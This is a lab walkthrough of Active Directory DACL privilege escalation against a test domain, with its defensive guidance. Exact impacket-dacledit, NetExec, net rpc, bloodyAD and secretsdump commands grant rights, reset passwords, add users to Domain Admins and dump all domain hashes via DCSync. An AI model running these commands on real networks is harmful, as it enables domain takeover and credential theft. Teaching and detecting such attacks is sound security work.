Introduction

Discretionary Access Control Lists (DACLs) are among the most powerful — and most misunderstood — components of Microsoft Active Directory. Every AD object (users, groups, OUs, the domain root itself) carries a security descriptor that includes a DACL: an ordered list of Access Control Entries (ACEs) that grant or deny specific permissions to specific security principals.

When administrators misconfigure these ACEs, attackers can leverage them to escalate privileges, reset passwords of privileged accounts, replicate domain secrets, and ultimately compromise the entire domain — without ever touching a traditional exploit.

This article walks through a complete, realistic attack chain against the ignite.local Active Directory environment, demonstrating multiple DACL-based privilege escalation paths observed during a penetration test. Each technique is documented with the exact tooling used, the verification steps, and — critically — the cleanup (DACL restoration) performed afterward.

Table of Contents

Introduction

Background: Understanding DACLs in Active Directory

• What is DACL?
• Why DACLs Matter Attackers

Technique 1: ForceChangePassword (User → User Escalation)

• Overview
• Grant ForceChangePassword
• Verify the ACE
• Change Password & Validate
• Restore the DACL

Technique 2: FullControl on Domain Admins → Group Membership

• Overview
• Grant FullControl
• Verify the ACE
• Add User to Domain Admins
• Restore the DACL

Technique 3: DCSync via Domain Root DACL Abuse

• Overview
• Grant DCSync Rights
• Verify DCSync ACEs
• Execute DCSync (Dump Hashes)
• Restore DACL

Technique 4: WriteMembers

• Overview
• Grant WriteMembers Permission
• Verify WriteMembers ACE
• Add User to Domain Admins

Technique 5: GUID-Based ACE Writing

• Writing ACE Using GUID

Using the -file Option (Backup & Restore)

Active Directory DACL Rights – GUID Table

Detection & Defensive Recommendations

• Detection Opportunities
• Defensive Recommendations

Conclusion

Background: Understanding DACLs in Active Directory

What is DACL?

A DACL (Discretionary Access Control List) is a component of every AD object’s security descriptor. It contains zero or more ACEs, each specifying:

• A security principal (user, group, computer) identified by SID
• An access mask defining what actions are permitted (e.g., ReadProperty, ControlAccess, WriteDACL, GenericAll)
• An ACE type: ACCESS_ALLOWED or ACCESS_DENIED
• Optional object-type GUIDs that narrow the permission to a specific extended right or attribute

Why DACLs Matter Attackers

Unlike traditional vulnerabilities, DACL abuse exploits legitimate Windows features. If an attacker can write to an object’s DACL, they can grant themselves any permission — silently and without triggering most security tools. Key dangerous rights include:

• ForceChangePassword (User-Force-Change-Password GUID)
• WriteDACL / FullControl on groups
• WriteMembers (GenericWrite on group membership)
• DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain root)

Technique 1: ForceChangePassword (User → User Escalation)

Overview

The User-Force-Change-Password extended right (GUID: 00299570-246d-11d0-a768-00aa006e0529) allows a security principal to change another user’s password without knowing the current password. This is commonly misconfigured in AD environments where helpdesk or support accounts have been granted this right for password resets but the scope was applied too broadly.

Step 1: Grant ForceChangePassword to jerry over tom

Using administrator credentials, the ForceChangePassword right is written to the DACL of the user object CN=tom,CN=Users,DC=ignite,DC=local, granting it to the principal jerry:

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2: Verify the ACE Was Written

 The command reveals that user jerry has a specific delegated permission over the object tom in the domain ignite.local

impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1

 Step 3: Change tom’s Password and Validate

NetExec’s change-password module performs the password reset — no knowledge of tom’s current password required:

nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123

nxc smb 192.168.1.11 -u jerry -p Admin@123

Step 4: Restore the DACL

After demonstrating the vulnerability, the original DACL is restored:

impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 2: FullControl on Domain Admins → Group Membership

Overview

If an attacker gains FullControl (GenericAll) over a group object, they can directly manipulate membership, change the group’s DACL, or take any other action on that object. Gaining FullControl over the Domain Admins group is effectively a path to domain compromise.

Step 1: Grant FullControl to raaz over Domain Admins

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2: Verify the ACE

Reading the Domain Admins group DACL as raaz confirms FullControl (GenericAll equivalent) is present through the numerous ACCESS_ALLOWED_OBJECT_ACE entries.

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11

Step 3: Add raaz to Domain Admins

With FullControl, raaz can directly add themselves to the group via net rpc:

net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%'Password@1' -S 192.168.1.11

Confirming membership:

net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11

Step 4: Restore

After demonstrating the vulnerability, the original DACL is restored:

impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 3: DCSync via Domain Root DACL Abuse

Overview

DCSync is a technique that abuses the MS-DRSR (Directory Replication Service Remote Protocol) to request replication of credential data from a Domain Controller — as if you were another DC. Two extended rights on the domain root are required:

• DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Granting both to a non-privileged user allows them to dump all domain credentials including the krbtgt hash — enabling Golden Ticket attacks.

Step 1: Grant DCSync Rights to kinjal

Two approaches were demonstrated in this lab. The first used a named backup file for clean tracking:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11

Step 2: Verify DCSync ACEs

Reading back kinjal’s ACEs on the domain root confirms both replication rights:

impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1

Step 3: Execute DCSync — Dump All Domain Hashes

With the replication rights in place, impacket-secretsdump performs a full credential dump via DRSUAPI (note: DCERPC RemoteOperations failed, falling back to DRSUAPI — this is normal):

impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11

Step 4: Restore DCSync Rights

After demonstrating the vulnerability, the original DACL is restored:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 4: WriteMember DACL Abuse

Overview

The WriteMembers permission allows the ankur account to add or remove members from the Domain Admins group without requiring full Domain Admin privileges. This represents a persistent backdoor—even if ankur’s group membership is revoked, the underlying DACL permission remains, enabling re-elevation.

Step 1: Grant WriteMembers to ankur over Domain Admins

impacket-dacledit -action write -rights WriteMembers -principal ankur -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2: Verify WriteMember ACE

Reading the DACL as ankur shows multiple READ ACEs (inherited baseline) and the newly granted WriteMember access:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11

Step 3: Add ankur to Domain Admins via bloodyAD

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"

Technique 5: GUID-Based ACE Writing

Overview

 Rather than using the -rights keyword shorthand, impacket-dacledit supports writing ACEs by their raw extended-right GUID using -rights-guid. This is useful for rights that don’t have named shortcuts, or for scripting precise ACE additions

Example: Writing ForceChangePassword by GUID

The User-Force-Change-Password GUID (00299570-246d-11d0-a768-00aa006e0529) is specified directly:

impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Save Output File

-file is used to save and restore Active Directory permissions, making it a critical option for safe ACL modification and recovery.

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak

Use Saved File

 After demonstrating the vulnerability, the original DACL is restored:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Active Directory DACL Rights – GUID Table

Detection & Defensive Recommendations

Detection Opportunities

• Windows Event ID 4662 — Object was accessed: Logs when a DACL is read on an AD object (requires auditing to be enabled on the target OU/object).
• Windows Event ID 4670 — Permissions on an object were changed: Fired when a DACL is modified. Alert on changes to sensitive objects (Domain Admins group, domain root, privileged user objects).
• Windows Event ID 4728/4732/4756 — Member added to security-enabled group: Fires when group membership changes. Correlate with accounts not normally managing group membership.
• Windows Event ID 4769 with replication SPNs: DCSync generates Kerberos service ticket requests for the E3514235-4B06-11D1-AB04-00C04FC2DCD2 SPN — alert on these from non-DC IPs.
• LDAP monitoring: Watch for large LDAP searches on nTSecurityDescriptor attributes from non-administrative accounts.

Defensive Recommendations

• Audit all DACL assignments on sensitive AD objects quarterly. Use tools like BloodHound, PingCastle, or Semperis DSP to enumerate attack paths.
• Apply the principle of least privilege — no standard user should have WriteDACL, GenericAll, or WriteMembers on high-value groups.
• Enable Advanced Audit Policy for DS Access (Audit Directory Service Changes). Ingest Event 4670 into your SIEM with high-priority alerting.
• Tier your administrative model — helpdesk accounts managing passwords should never have rights on tier-0 (domain controller / domain root) objects.
• Deploy Microsoft Defender for Identity (MDI) or equivalent — it detects DCSync attempts, suspicious DACL modifications, and lateral movement patterns.
• Rotate the krbtgt password regularly (twice, 10 hours apart) to invalidate any existing Golden Tickets.
• Monitor for impacket, bloodyAD, and dacledit tool signatures at the network and endpoint level (NTLM over port 445 from Linux hosts, DRSUAPI traffic from non-DC sources).

 Conclusion

 DACL abuse represents one of the most impactful — and often overlooked — categories of Active Directory attacks. Unlike vulnerability exploitation, these attacks leverage built-in Windows permission mechanisms, producing minimal noisy artifacts and often bypassing traditional security controls.

The ignite.local lab demonstrated that a low-privilege user with a single misconfigured ACE can escalate to Domain Admin and obtain every credential in the domain within minutes. The complete attack chain — from initial ForceChangePassword to full DCSync — required no exploits, no malware, and no complex lateral movement.

The good news: these attack paths are entirely preventable through proper ACL hygiene, tiered administration, and robust monitoring. Regular DACL auditing with tools like BloodHound, combined with SIEM detection for Event ID 4670 and DCSync indicators, can dramatically reduce the attack surface.